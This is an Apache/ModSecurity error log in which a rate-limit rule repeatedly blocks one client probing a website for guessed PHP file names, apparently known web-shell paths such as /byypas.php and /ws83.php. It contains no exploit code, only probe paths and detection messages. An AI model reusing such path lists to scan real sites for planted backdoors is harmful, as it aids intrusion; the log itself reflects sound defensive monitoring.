[Sat Apr 18 20:17:13.935092 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:5862] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeN2SRqX6WpmmAXOBi8a-gAAAcs"]
[Sat Apr 18 20:17:14.492425 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:5741] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/callback.php"] [unique_id "aeN2ShqX6WpmmAXOBi8a_AAAAcY"]
[Sat Apr 18 20:17:15.003177 2026] [:error] [pid 34288:tid 34295] [client 52.236.80.95:6116] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/callback.php"] [unique_id "aeN2S-TIiy__PtiLmpnS5wAAAYM"]
[Sat Apr 18 20:17:15.568616 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:5846] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/callback.php"] [unique_id "aeN2SxqX6WpmmAXOBi8a_wAAAcQ"]
[Sat Apr 18 20:17:16.260505 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5764] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/callback.php"] [unique_id "aeN2TBqX6WpmmAXOBi8bBAAAAcI"]
[Sat Apr 18 20:17:16.879441 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:5969] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeN2TBqX6WpmmAXOBi8bCgAAAc0"]
[Sat Apr 18 20:17:17.478450 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6100] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeN2TRqX6WpmmAXOBi8bDQAAAcI"]
[Sat Apr 18 20:17:18.060346 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5702] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeN2ThBmX4Wq5a6rxfapjgAAAUw"]
[Sat Apr 18 20:17:18.684920 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:5699] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeN2ToCFeowknfXHM7kazwAAAEE"]
[Sat Apr 18 20:17:19.226491 2026] [:error] [pid 9863:tid 9897] [client 52.236.80.95:6102] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeN2TzjjiypiFrTucbLM-wAAABg"]
[Sat Apr 18 20:17:19.798834 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6125] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeN2TxBmX4Wq5a6rxfapngAAAUE"]
[Sat Apr 18 20:17:20.438630 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6129] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeN2UBBmX4Wq5a6rxfapoQAAAUw"]
[Sat Apr 18 20:17:21.062971 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6123] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeN2URBmX4Wq5a6rxfapowAAAUA"]
[Sat Apr 18 20:17:21.661845 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:6111] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/camara.php"] [unique_id "aeN2URqX6WpmmAXOBi8bDwAAAcE"]
[Sat Apr 18 20:17:22.230549 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5776] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/camara.php"] [unique_id "aeN2UhqX6WpmmAXOBi8bEQAAAc8"]
[Sat Apr 18 20:17:23.151628 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5988] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/camara.php"] [unique_id "aeN2UxqX6WpmmAXOBi8bFAAAAcI"]
[Sat Apr 18 20:17:23.706720 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6101] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/camara.php"] [unique_id "aeN2UxBmX4Wq5a6rxfapqQAAAVQ"]
[Sat Apr 18 20:17:24.276462 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6137] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assacc.php"] [unique_id "aeN2VBBmX4Wq5a6rxfaprgAAAVQ"]
[Sat Apr 18 20:17:24.820511 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:6061] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assacc.php"] [unique_id "aeN2VBqX6WpmmAXOBi8bFgAAAdE"]
[Sat Apr 18 20:17:25.370915 2026] [:error] [pid 13023:tid 13047] [client 52.236.80.95:6033] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assacc.php"] [unique_id "aeN2Vf1e7hG8DAeABB8F4QAAARY"]
[Sat Apr 18 20:17:25.979731 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6025] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assacc.php"] [unique_id "aeN2VRqX6WpmmAXOBi8bGAAAAcg"]
[Sat Apr 18 20:17:26.684664 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5714] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "aeN2VhqX6WpmmAXOBi8bLwAAAc8"]
[Sat Apr 18 20:17:27.277441 2026] [:error] [pid 13023:tid 13034] [client 52.236.80.95:6036] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "aeN2V_1e7hG8DAeABB8F7AAAAQk"]
[Sat Apr 18 20:17:28.067676 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5709] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "aeN2WBqX6WpmmAXOBi8bNgAAAdc"]
[Sat Apr 18 20:17:28.638745 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:6098] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "aeN2WBqX6WpmmAXOBi8bNwAAAdM"]
[Sat Apr 18 20:17:29.359717 2026] [:error] [pid 34290:tid 34324] [client 52.236.80.95:6040] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeN2WRqX6WpmmAXOBi8bOgAAAcU"]
[Sat Apr 18 20:17:29.977986 2026] [:error] [pid 9865:tid 9960] [client 52.236.80.95:5701] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeN2Wazb5knECIY-C-iB7gAAAJc"]
[Sat Apr 18 20:17:30.505058 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:5957] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeN2WhqX6WpmmAXOBi8bPQAAAcs"]
[Sat Apr 18 20:17:31.014503 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6120] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeN2WxqX6WpmmAXOBi8bPwAAAcQ"]
[Sat Apr 18 20:17:31.547238 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:6115] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeN2WxqX6WpmmAXOBi8bQwAAAcA"]
[Sat Apr 18 20:17:32.082179 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:6027] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeN2XBqX6WpmmAXOBi8bRQAAAdM"]
[Sat Apr 18 20:17:32.640489 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:5665] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeN2XBqX6WpmmAXOBi8bSwAAAcQ"]
[Sat Apr 18 20:17:33.647216 2026] [:error] [pid 9864:tid 9912] [client 52.236.80.95:5817] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeN2XYCFeowknfXHM7ka0gAAAEY"]
[Sat Apr 18 20:17:34.227894 2026] [:error] [pid 9864:tid 9913] [client 52.236.80.95:5833] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xtsr.php"] [unique_id "aeN2XoCFeowknfXHM7ka0wAAAEc"]
[Sat Apr 18 20:17:34.782684 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:5724] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xtsr.php"] [unique_id "aeN2XoCFeowknfXHM7ka2AAAAFg"]
[Sat Apr 18 20:17:35.466269 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:5810] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xtsr.php"] [unique_id "aeN2XxBmX4Wq5a6rxfaptAAAAUU"]
[Sat Apr 18 20:17:36.021103 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:5698] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xtsr.php"] [unique_id "aeN2YBqX6WpmmAXOBi8bVgAAAc0"]
[Sat Apr 18 20:17:36.669206 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5733] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz8.php"] [unique_id "aeN2YBqX6WpmmAXOBi8bWQAAAdc"]
[Sat Apr 18 20:17:37.235055 2026] [:error] [pid 34290:tid 34340] [client 52.236.80.95:5734] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz8.php"] [unique_id "aeN2YRqX6WpmmAXOBi8bXAAAAdU"]
[Sat Apr 18 20:17:37.889912 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5929] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz8.php"] [unique_id "aeN2YRBmX4Wq5a6rxfaptgAAAUA"]
[Sat Apr 18 20:17:38.450205 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:6089] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz8.php"] [unique_id "aeN2YhqX6WpmmAXOBi8bYAAAAcs"]
[Sat Apr 18 20:17:39.147201 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
[Sat Apr 18 20:17:39.419409 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Sat Apr 18 20:17:39.726580 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/ai.php
[Sat Apr 18 20:17:39.994931 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Sat Apr 18 20:17:40.266041 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/awdld.php
[Sat Apr 18 20:17:40.536370 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/bkyac.php
[Sat Apr 18 20:17:40.896712 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/krntz.php
[Sat Apr 18 20:17:41.221699 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/vhwwnrnmqc.php
[Sat Apr 18 20:17:41.495982 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/xenium4.php
[Sat Apr 18 20:17:41.766418 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/vaza.php
[Sat Apr 18 20:17:42.039257 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:6011] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Sat Apr 18 20:17:42.311628 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6011] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aeN2ZhBmX4Wq5a6rxfapxwAAAUE"]
[Sat Apr 18 20:17:42.846062 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6029] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aeN2ZhBmX4Wq5a6rxfapygAAAUA"]
[Sat Apr 18 20:17:43.417130 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:6047] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aeN2ZxBmX4Wq5a6rxfapywAAAVc"]
[Sat Apr 18 20:17:43.948932 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5967] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aeN2ZxBmX4Wq5a6rxfapzgAAAU0"]
[Sat Apr 18 20:17:44.544329 2026] [:error] [pid 9863:tid 9892] [client 52.236.80.95:5847] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drhunthq.php"] [unique_id "aeN2aDjjiypiFrTucbLNBwAAABM"]
[Sat Apr 18 20:17:45.237823 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:5962] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drhunthq.php"] [unique_id "aeN2aRqX6WpmmAXOBi8bbgAAAdY"]
[Sat Apr 18 20:17:45.878924 2026] [:error] [pid 9863:tid 9889] [client 52.236.80.95:5907] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drhunthq.php"] [unique_id "aeN2aTjjiypiFrTucbLNCQAAABA"]
[Sat Apr 18 20:17:46.477202 2026] [:error] [pid 9864:tid 9912] [client 52.236.80.95:5746] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drhunthq.php"] [unique_id "aeN2aoCFeowknfXHM7ka2wAAAEY"]
[Sat Apr 18 20:17:47.047198 2026] [:error] [pid 9970:tid 9983] [client 52.236.80.95:6041] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeN2ayYdRLRhVmaIMx2zlQAAAMk"]
[Sat Apr 18 20:17:47.550322 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:6140] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeN2axBmX4Wq5a6rxfap0gAAAVU"]
[Sat Apr 18 20:17:48.390945 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:6143] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeN2bKzb5knECIY-C-iB-QAAAJU"]
